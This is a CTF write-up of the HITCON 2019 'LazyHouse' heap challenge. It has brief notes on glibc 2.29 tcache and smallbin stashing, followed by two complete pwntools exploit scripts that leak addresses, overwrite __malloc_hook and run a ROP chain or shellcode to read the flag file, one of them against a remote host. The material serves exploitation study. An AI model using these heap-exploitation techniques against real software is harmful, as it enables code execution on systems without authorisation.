HITCON 2019 LazyHouse

Note:

  • calloc use _int_malloc(without tcache firstly) to allocate memory
  • After alloc a smallbin : While bin not empty and tcache not full, copy chunks to tcache[idx] without checking chunk header
  • The challenge use func read&&write so that we can get a fake chunk in IO_stdin && overwrite without crash(IO_stdin has two consecutive address(fd && bk) and It’s just right nearby malloc_hook
    so that we can make fake smallbin here(without crash when unlink-ing) && overwrite
    malloc_hook(with malloc a tcache chunk in buy_superhouse finally))
  • __malloc_hook(): The value of rbp is the length we calloc so that we can control rsp with a magic gadget: lea rsp, [rbp-10h]
  • Using gadget in setcontext func to exploit as Angelboy’s exp. (In fact, the exploit will be more easily at setcontext function in libc<2.29 because it use rdi (we can directlly control with parameter)to assign register which use rdx in libc-2.29)

    My Exploit:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    from pwn import *

    #context.log_level="debug"
    def add(index,size,note):
    p.sendlineafter(": ","1")
    p.sendlineafter(":",str(index))
    p.sendlineafter(":",str(size))
    p.sendafter("House:",note)
    def fuck_add(index,size):
    p.sendlineafter(": ","1")
    p.sendlineafter(":",str(index))
    p.sendlineafter("Size:",str(size))
    def show(index):
    p.sendlineafter(": ","2")
    p.sendlineafter(":",str(index))
    def delete(index):
    p.sendlineafter(": ","3")
    p.sendlineafter(":",str(index))
    def edit(index,note):
    p.sendlineafter(": ","4")
    p.sendlineafter(":",str(index))
    p.sendafter("House:",note)
    def buy_super(note):
    p.sendlineafter(": ","5")
    p.sendafter("House:",note)
    p=process(["./lib/ld-2.29.so","--library-path","./lib","./lazyhouse"])
    #get money
    fuck_add(0,0x12c9fb4d812c9fc)
    delete(0)
    #leak && fill tcache && make a smallbin
    add(0,0x88,"kirin")
    add(1,0x400,"kirin")
    add(2,0x218,"kirin")
    add(3,0x218,"kirin")
    add(4,0x218,"kirin")
    #fill tcache
    for i in range(3):
    add(5,0x218,"kirin")
    delete(5)
    #make a smallbin
    add(6,0x500,"kirin")
    add(5,0x400,"kirin")
    delete(5)
    delete(6)
    add(6,0x2e0,"kirin")
    delete(6)
    add(6,0x2e0,"kirin")
    delete(6)
    #overflow && leak
    edit(0,"a"*0x88+p64(0x410+0x220+0x220+1))
    delete(1)
    add(1,0x400+0x220,"a"*0x408+p64(0x221))
    show(3)
    libc_addr=u64(p.recv(8))-0x1e4ca0
    print "libc_addr: %s" %hex(libc_addr)
    delete(4)
    delete(2)
    show(1)
    p.recv(0x410)
    heap_addr=u64(p.recv(8))-0xb40
    print "heap_addr: %s" %hex(heap_addr)
    #build a rop chain
    pop_rax=libc_addr+0x47cf8
    pop_rdi=libc_addr+0x26542
    pop_rsi=libc_addr+0x26f9e
    pop_rdx=libc_addr+0x12bda6
    syscall=libc_addr+0xcf6c5
    open_func=p64(pop_rax)+p64(2)+p64(syscall)
    read_func=p64(pop_rax)+p64(0)+p64(syscall)
    write_func=p64(pop_rax)+p64(1)+p64(syscall)
    payload=p64(pop_rdi)+p64(heap_addr+0x16a0+0xd8)+p64(pop_rsi)+p64(0)+open_func#open flag
    payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx)+p64(32)+read_func#read flag
    payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx)+p64(32)+write_func#output flag
    payload+="/home/lazyhouse/flag"
    #get fake smallbin && make fake_smallbin to tcache
    add(2,0x300,"kirin")
    edit(3,p64(heap_addr+0x16a0)+p64(libc_addr+0x1e4a20))
    add(5,0x218,payload)
    '''
    00000000000DFA48 lea rsp, [rbp-10h]
    00000000000DFA4C pop rbx
    00000000000DFA4D pop r12
    00000000000DFA4F pop rbp
    00000000000DFA50 retn
    '''
    #overwrite __malloc_hook && exploit
    buy_super("a"*0x200+p64(libc_addr+0xdfa48))
    #gdb.attach(p)
    fuck_add(6,heap_addr+0x16a0+0x8)
    p.interactive()

Angelboy’s exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
host = "10.211.55.26"
port = 8888
host = "3.115.121.123"
port = 5731
context.arch = "amd64"
r = remote(host,port)

def allocf(idx,size):
r.recvuntil(":")
r.sendline("1")
r.recvuntil("ex:")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))

def alloc(idx,size,data):
r.recvuntil(":")
r.sendline("1")
r.recvuntil("ex:")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil("House:")
r.send(data)

def up(idx,data):
r.recvuntil(":")
r.sendline("4")
r.recvuntil("ex:")
r.sendline(str(idx))
r.recvuntil("House:")
r.send(data)

def show(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil("ex:")
r.sendline(str(idx))

def free(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil("ex:")
r.sendline(str(idx))

def supper(data):
r.recvuntil(":")
r.sendline("5")
r.recvuntil(":")
r.send(data)
allocf(0,0x12c9fb4d812c9fc)
free(0)
alloc(0,0x200,'a')
alloc(1,0x800,'a')
alloc(2,0xa0,'c')
free(1)

alloc(1,0xa00,'a')
free(1)
up(0,'\x00'*0x200 + p64(0) + p64(0x813)) # overwrite size of next chunk
alloc(1,0x800,'a'*8)
show(1)
r.recvuntil("a"*8)

data = r.recvuntil("$")

libc =u64(data[:8]) - 0x1e5190
print "libc:",hex(libc)
heap =u64(data[8:16]) - 0x460

print "heap:",hex(heap)
free(2)
free(0)
alloc(0,0x410,'a')
alloc(7,0x100,'b')
alloc(2,0x610,'a'*0x300 )
alloc(3,0x218,'c')

#fill tcache
for i in range(5):
free(3)
alloc(3,0x218,'c')

free(0)
alloc(5,0x1f0,'da')
free(2)
alloc(6,0x3f0,'mehqq')

alloc(0,0x300,'x')
flag = "/home/lazyhouse/flag"
sc = asm("""
jmp name
open:
pop rdi
xor rdx,rdx
mov rax,2
syscall
read:
mov rdi,rax
mov rsi,rsp
mov rdx,0x40
xor rax,rax
syscall
write:
mov rdx,rax
mov rsi,rsp
mov rdi,1
mov rax,1
syscall
exit:
mov rax,0x60
syscall
name:
call open
.ascii "%s"
.byte 0
""" % flag)
alloc(2,0x230,sc)
target = libc+0x1e4a20+0x10


# trigger overflow to overwrite fd & bk so that we can corrupt smallbin
# smallbin -> target -> next chunk
up(6,"\x00"*0x3f0 + p64(0) + p64(0x221) + p64(heap+0xf20) + p64(target-0x10))

mov_rdx_rax = libc + 0x127018
# 127018: 48 89 c2 mov rdx,rax
# 12701b: ff 55 28 call QWORD PTR [rbp+0x28]
ret = libc + 0x55e90
setcontext = libc + 0x55e35
pop_rdi = libc + 0x0000000000026542
pop_rsi = libc + 0x26f9e
pop_rdx = libc + 0x000000000012bda6
rsp = heap+0xf30 + 0xf8+0x38
mprotect = libc + 0x117590
scaddr = heap+0x2850
rop = flat([pop_rdi,heap,pop_rsi,0x21000,pop_rdx,7,mprotect,scaddr])
payload = p64(heap+0xf30) + p64(mov_rdx_rax)
payload = payload.ljust(0xa0,"\x00")
payload += p64(rsp) + p64(ret)
payload = payload.ljust(0xf8,"\x00")
payload += p64(0)*5 + p64(setcontext)+ p64(0)
payload += rop


# smallbin -> target -> next chunk
# tcache -> a -> b -> c -> d -> e
# move chunk from smallbin to tcache
# https://elixir.bootlin.com/glibc/glibc-2.29/source/malloc/malloc.c#L3673
alloc(4,0x210,payload)
# smallbin
# tcache -> target -> next chunk -> a -> b -> c -> d -> e



gadget = libc + 0x10f9b5
# 10f9b5: 48 8b 85 08 ff ff ff mov rax,QWORD PTR [rbp-0xf8]
# 10f9bc: 48 8d 8d f8 fe ff ff lea rcx,[rbp-0x108]
# 10f9c3: 48 8b b5 c0 fe ff ff mov rsi,QWORD PTR [rbp-0x140]
# 10f9ca: 48 8b bd e8 fe ff ff mov rdi,QWORD PTR [rbp-0x118]
# 10f9d1: 8b 50 18 mov edx,DWORD PTR [rax+0x18]
# 10f9d4: ff 95 10 ff ff ff call QWORD PTR [rbp-0xf0]
supper('a'*0x200 + p64(gadget)) # take chunk from tcache and overwrite malloc_hook
free(0)
arg = heap+0xf30+0xf8
allocf(0,arg)
r.interactive()